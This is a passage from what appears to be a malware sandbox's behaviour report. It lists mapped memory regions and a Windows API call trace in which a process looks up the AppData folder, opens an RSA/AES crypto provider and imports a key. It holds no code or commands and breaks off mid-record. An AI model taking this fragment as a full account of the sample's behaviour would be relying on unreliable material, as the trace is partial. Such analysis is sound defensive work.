entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 876 start_va = 0x4900000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 877 start_va = 0x2480000 end_va = 0x24bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 878 start_va = 0x24c0000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 879 start_va = 0x2540000 end_va = 0x254ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 880 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 881 start_va = 0x4b00000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 882 start_va = 0x2500000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 883 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 884 start_va = 0x6bb60000 end_va = 0x6bb6cfff monitored = 0 entry_point = 0x6bb63520 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 885 start_va = 0x6bb50000 end_va = 0x6bb5afff monitored = 1 entry_point = 0x6bb541f0 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll") Region: id = 886 start_va = 0xed0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 887 start_va = 0xed0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 888 start_va = 0xed0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 1253 start_va = 0x6bb30000 end_va = 0x6bb40fff monitored = 0 entry_point = 0x6bb38fa0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 1254 start_va = 0x6ba70000 end_va = 0x6bb2efff monitored = 0 entry_point = 0x6baa1e80 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 1348 start_va = 0xed0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 1349 start_va = 0xed0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 1350 start_va = 0xed0000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 1351 start_va = 0x2550000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1352 start_va = 0x2560000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1353 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 1354 start_va = 0x2580000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 1355 start_va = 0x2550000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1356 start_va = 0x6b7c0000 end_va = 0x6ba6efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runteb92aa12#\\9b0d0cb232dec8e57df49678532cb923\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runteb92aa12#\\9b0d0cb232dec8e57df49678532cb923\\system.runtime.serialization.ni.dll") Region: id = 1357 start_va = 0x2550000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1500 start_va = 0x6b7a0000 end_va = 0x6b7bdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "smdiagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMDiagnostics\\cde471ea4f02c36c73581ed5681e463e\\SMDiagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\smdiagnostics\\cde471ea4f02c36c73581ed5681e463e\\smdiagnostics.ni.dll") Region: id = 1501 start_va = 0x6b6a0000 end_va = 0x6b790fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\fe4b221b4109f0c78f57a792500699b5\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\fe4b221b4109f0c78f57a792500699b5\\system.configuration.ni.dll") Region: id = 1502 start_va = 0x6af80000 end_va = 0x6b69dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\4fbda26d781323081b45526da6e87b35\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\4fbda26d781323081b45526da6e87b35\\system.xml.ni.dll") Region: id = 1503 start_va = 0x6aed0000 end_va = 0x6af74fff monitored = 0 entry_point = 0x6aeeac50 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1504 start_va = 0x6aea0000 end_va = 0x6aec2fff monitored = 0 entry_point = 0x6aea5570 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1505 start_va = 0x6ae90000 end_va = 0x6ae9ffff monitored = 0 entry_point = 0x6ae93820 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1506 start_va = 0x2550000 end_va = 0x2553fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1507 start_va = 0x71450000 end_va = 0x7149efff monitored = 0 entry_point = 0x7145d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1508 start_va = 0x4d00000 end_va = 0x4ddffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1509 start_va = 0x2560000 end_va = 0x259ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1510 start_va = 0x4de0000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 1511 start_va = 0x714a0000 end_va = 0x7153afff monitored = 0 entry_point = 0x714df7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 1512 start_va = 0x71570000 end_va = 0x71581fff monitored = 0 entry_point = 0x71574510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 1513 start_va = 0x71540000 end_va = 0x7156efff monitored = 0 entry_point = 0x7154bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1514 start_va = 0x747b0000 end_va = 0x747b6fff monitored = 0 entry_point = 0x747b1e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1515 start_va = 0x6ae70000 end_va = 0x6ae82fff monitored = 0 entry_point = 0x6ae725d0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1516 start_va = 0x6ae50000 end_va = 0x6ae63fff monitored = 0 entry_point = 0x6ae53c10 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1517 start_va = 0x25a0000 end_va = 0x25a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1518 start_va = 0x25a0000 end_va = 0x25a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1519 start_va = 0x25a0000 end_va = 0x25a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1520 start_va = 0x25a0000 end_va = 0x25a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1521 start_va = 0x25a0000 end_va = 0x25a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1522 start_va = 0x25a0000 end_va = 0x25a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1523 start_va = 0x4ee0000 end_va = 0x4f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ee0000" filename = "" Region: id = 1524 start_va = 0x4f20000 end_va = 0x501ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f20000" filename = "" Region: id = 1525 start_va = 0x5020000 end_va = 0x5030fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005020000" filename = "" Region: id = 1526 start_va = 0x70a80000 end_va = 0x70b03fff monitored = 0 entry_point = 0x70aa6530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1527 start_va = 0x71440000 end_va = 0x71447fff monitored = 0 entry_point = 0x71441fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1528 start_va = 0x70630000 end_va = 0x70637fff monitored = 0 entry_point = 0x70631920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1529 start_va = 0x70640000 end_va = 0x70686fff monitored = 0 entry_point = 0x706558d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1530 start_va = 0x6ad80000 end_va = 0x6ae42fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.servicemodel.internals.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servd1dec626#\\1348a5d04b41c614e48fe5fdb88d1cfa\\System.ServiceModel.Internals.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.servd1dec626#\\1348a5d04b41c614e48fe5fdb88d1cfa\\system.servicemodel.internals.ni.dll") Region: id = 1531 start_va = 0x25a0000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1532 start_va = 0x5040000 end_va = 0x504ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005040000" filename = "" Region: id = 1533 start_va = 0x5050000 end_va = 0x505ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005050000" filename = "" Region: id = 1534 start_va = 0x5060000 end_va = 0x506ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005060000" filename = "" Region: id = 1535 start_va = 0x5070000 end_va = 0x507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005070000" filename = "" Region: id = 1536 start_va = 0x5080000 end_va = 0x508ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 1537 start_va = 0x25a0000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1538 start_va = 0x6ad50000 end_va = 0x6ad77fff monitored = 0 entry_point = 0x6ad57820 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1539 start_va = 0x6acd0000 end_va = 0x6ad40fff monitored = 0 entry_point = 0x6ad269e0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\SysWOW64\\efswrt.dll" (normalized: "c:\\windows\\syswow64\\efswrt.dll") Region: id = 1540 start_va = 0x6fc30000 end_va = 0x6fcf7fff monitored = 0 entry_point = 0x6fc9ae90 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 1541 start_va = 0x6ac80000 end_va = 0x6acc8fff monitored = 0 entry_point = 0x6ac86450 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\SysWOW64\\edputil.dll" (normalized: "c:\\windows\\syswow64\\edputil.dll") Region: id = 1542 start_va = 0x5090000 end_va = 0x518ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005090000" filename = "" Region: id = 1655 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1671 start_va = 0x7e8f0000 end_va = 0x7ec90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 1673 start_va = 0x25a0000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1699 start_va = 0x5040000 end_va = 0x507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005040000" filename = "" Region: id = 1700 start_va = 0x5190000 end_va = 0x528ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005190000" filename = "" Thread: id = 12 os_tid = 0x1264 [0142.459] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0142.698] RoInitialize () returned 0x1 [0142.698] RoUninitialize () returned 0x0 [0144.735] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x18dcb8 | out: phkResult=0x18dcb8*=0x0) returned 0x2 [0144.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x18ed34, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0144.766] IsAppThemed () returned 0x1 [0144.771] CoTaskMemAlloc (cb=0xf0) returned 0xf347c8 [0144.771] CreateActCtxA (pActCtx=0x18f278) returned 0xf3f17c [0144.872] CoTaskMemFree (pv=0xf347c8) [0144.884] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1db [0144.884] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1e0 [0144.933] CoTaskMemAlloc (cb=0x20c) returned 0xf3fbf0 [0144.933] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0xf3fbf0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0144.946] CoTaskMemFree (pv=0xf3fbf0) [0144.946] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x18d5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0146.962] CryptAcquireContextW (in: phProv=0x18f28c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f28c*=0xf3a8d8) returned 1 [0146.969] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.970] CoTaskMemAlloc (cb=0x20) returned 0xf3c8a0 [0146.970] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c8a0, pdwDataLen=0x18f250, dwFlags=0x1 | out: pbData=0xf3c8a0, pdwDataLen=0x18f250) returned 1 [0146.971] CoTaskMemFree (pv=0xf3c8a0) [0146.971] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.971] CoTaskMemAlloc (cb=0x20) returned 0xf3c5d0 [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c5d0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c5d0, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemFree (pv=0xf3c5d0) [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemAlloc (cb=0x20) returned 0xf3c828 [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c828, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c828, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemFree (pv=0xf3c828) [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemAlloc (cb=0x20) returned 0xf3c490 [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c490, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c490, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemFree (pv=0xf3c490) [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemAlloc (cb=0x20) returned 0xf3c620 [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c620, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c620, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemFree (pv=0xf3c620) [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemAlloc (cb=0x20) returned 0xf3c490 [0146.972] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c490, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c490, pdwDataLen=0x18f250) returned 1 [0146.972] CoTaskMemFree (pv=0xf3c490) [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemAlloc (cb=0x20) returned 0xf3c490 [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c490, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c490, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemFree (pv=0xf3c490) [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemAlloc (cb=0x20) returned 0xf3c670 [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c670, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c670, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemFree (pv=0xf3c670) [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemAlloc (cb=0x20) returned 0xf3c738 [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c738, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c738, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemFree (pv=0xf3c738) [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemAlloc (cb=0x20) returned 0xf3c558 [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c558, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c558, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemFree (pv=0xf3c558) [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemAlloc (cb=0x20) returned 0xf3c8a0 [0146.973] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c8a0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c8a0, pdwDataLen=0x18f250) returned 1 [0146.973] CoTaskMemFree (pv=0xf3c8a0) [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.974] CoTaskMemAlloc (cb=0x20) returned 0xf3c5d0 [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c5d0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c5d0, pdwDataLen=0x18f250) returned 1 [0146.974] CoTaskMemFree (pv=0xf3c5d0) [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.974] CoTaskMemAlloc (cb=0x20) returned 0xf3c558 [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c558, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c558, pdwDataLen=0x18f250) returned 1 [0146.974] CoTaskMemFree (pv=0xf3c558) [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.974] CoTaskMemAlloc (cb=0x20) returned 0xf3c4e0 [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c4e0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c4e0, pdwDataLen=0x18f250) returned 1 [0146.974] CoTaskMemFree (pv=0xf3c4e0) [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.974] CoTaskMemAlloc (cb=0x20) returned 0xf3c4e0 [0146.974] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c4e0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c4e0, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemFree (pv=0xf3c4e0) [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemAlloc (cb=0x20) returned 0xf3c4e0 [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c4e0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c4e0, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemFree (pv=0xf3c4e0) [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemAlloc (cb=0x20) returned 0xf3c6e8 [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c6e8, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c6e8, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemFree (pv=0xf3c6e8) [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemAlloc (cb=0x20) returned 0xf3c5d0 [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c5d0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c5d0, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemFree (pv=0xf3c5d0) [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.975] CoTaskMemAlloc (cb=0x20) returned 0xf3c508 [0146.975] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c508, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c508, pdwDataLen=0x18f250) returned 1 [0146.976] CoTaskMemFree (pv=0xf3c508) [0146.976] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 1 [0146.976] CoTaskMemAlloc (cb=0x20) returned 0xf3c5d0 [0146.976] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0xf3c5d0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0xf3c5d0, pdwDataLen=0x18f250) returned 1 [0146.976] CoTaskMemFree (pv=0xf3c5d0) [0146.976] CryptGetProvParam (in: hProv=0xf3a8d8, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f250, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f250) returned 0 [0146.981] CryptImportKey (in: hProv=0xf3a8d8, pbData=0x27a327c*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f25c | out: phKey=0x18f25c*=0xf30798) returned 